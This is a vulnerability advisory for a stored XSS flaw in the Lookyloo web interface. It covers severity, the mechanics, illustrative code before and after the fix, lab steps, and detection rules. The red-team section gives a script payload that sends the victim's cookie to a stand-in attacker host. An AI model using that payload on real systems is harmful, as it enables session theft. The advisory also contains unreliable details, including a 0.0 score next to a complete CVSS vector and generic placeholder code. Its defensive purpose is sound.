CVE-2025-66460

Executive Summary

CVE-2025-66460 is a Cross-Site Scripting (XSS) vulnerability in Lookyloo, a web interface for capturing and visualizing website domain trees. The flaw exists in the improper escaping of values passed to cells rendered in datatables using the orthogonal-data feature. This allows an attacker to inject malicious scripts into the popup view and potentially other areas of the application. The vulnerability is fixed in version 1.35.3. No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the lack of a patch for older versions.

Supply Chain & Package Security

Lookyloo is a Python-based web application. The vulnerability is in the frontend JavaScript datatables handling, not in a specific package manager. However, users should ensure they are using the latest version from the official repository to avoid supply chain risks from outdated dependencies.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector provided)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must view the crafted popup
• Scope: Changed (S:C) – impact may extend beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)
• Threat Level: Medium (due to lack of public exploit but potential for widespread impact)

Deep Dive & Mechanics

The vulnerability resides in Lookyloo's use of datatables with the orthogonal-data feature. When rendering domain tree data, values are passed to cells without proper HTML escaping. An attacker can craft a malicious URL or domain name that, when captured and displayed in the popup view, executes arbitrary JavaScript in the context of the victim's browser. This is a classic stored XSS, as the malicious payload is stored in the captured data and executed when viewed.

The orthogonal-data feature in datatables allows different data to be used for display, sorting, and filtering. The vulnerability occurs when the display data is not sanitized, allowing script injection.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.35.3):

# Example of improper escaping in datatable rendering
def render_cell(value):
    # No escaping applied
    return f"<td>{value}</td>"

Patched Code (1.35.3):

# Proper escaping using a library like html.escape
import html
def render_cell(value):
    return f"<td>{html.escape(value)}</td>"

The patch ensures all user-supplied values are HTML-escaped before being rendered in datatables.

Exploitation & Lab Setup

Red Team

1. Setup: Deploy Lookyloo version 1.35.2 or earlier in a controlled environment.
2. Craft Payload: Create a malicious URL containing a JavaScript payload, e.g., http://example.com/<script>alert('XSS')</script>.
3. Capture: Use Lookyloo to capture the malicious URL.
4. Trigger: View the captured result in the popup view. The script will execute.

Example Payload:

http://evil.com/?q="><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

1. Detection: Monitor for unusual domain names or URLs containing script tags in Lookyloo captures.
2. Prevention: Ensure Lookyloo is updated to version 1.35.3 or later.
3. Mitigation: If patching is not possible, implement a Web Application Firewall (WAF) rule to block requests with script tags in URL parameters.

Indicators of Compromise (IOCs)

• Network: HTTP requests to Lookyloo with URLs containing <script> tags or other HTML/JavaScript payloads.
• Logs: Lookyloo logs showing captured URLs with suspicious characters like <>, ", or '.
• File: Lookyloo database entries with unescaped HTML in domain tree data.

Detection Engineering

YARA Rule

rule Lookyloo_XSS_Detection {
    meta:
        description = "Detects potential XSS payloads in Lookyloo captured data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66460"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $xss_event = /on\w+\s*=\s*["']?[^"'\s>]+/i
    condition:
        any of them
}

Sigma Rule

title: Lookyloo XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS attempts in Lookyloo captured URLs
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: lookyloo
detection:
    selection:
        url|contains:
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of script tags in URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"Lookyloo XSS Attempt"; flow:to_server; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade Lookyloo to version 1.35.3 or later.
2. Workaround: If upgrade is not possible, implement input validation and output encoding for all user-supplied data in the application.
3. Long-term: Conduct a security audit of all frontend components, especially those using datatables or similar libraries.
4. Monitoring: Deploy the provided detection rules to identify exploitation attempts.

Valters IT
Securing your digital frontier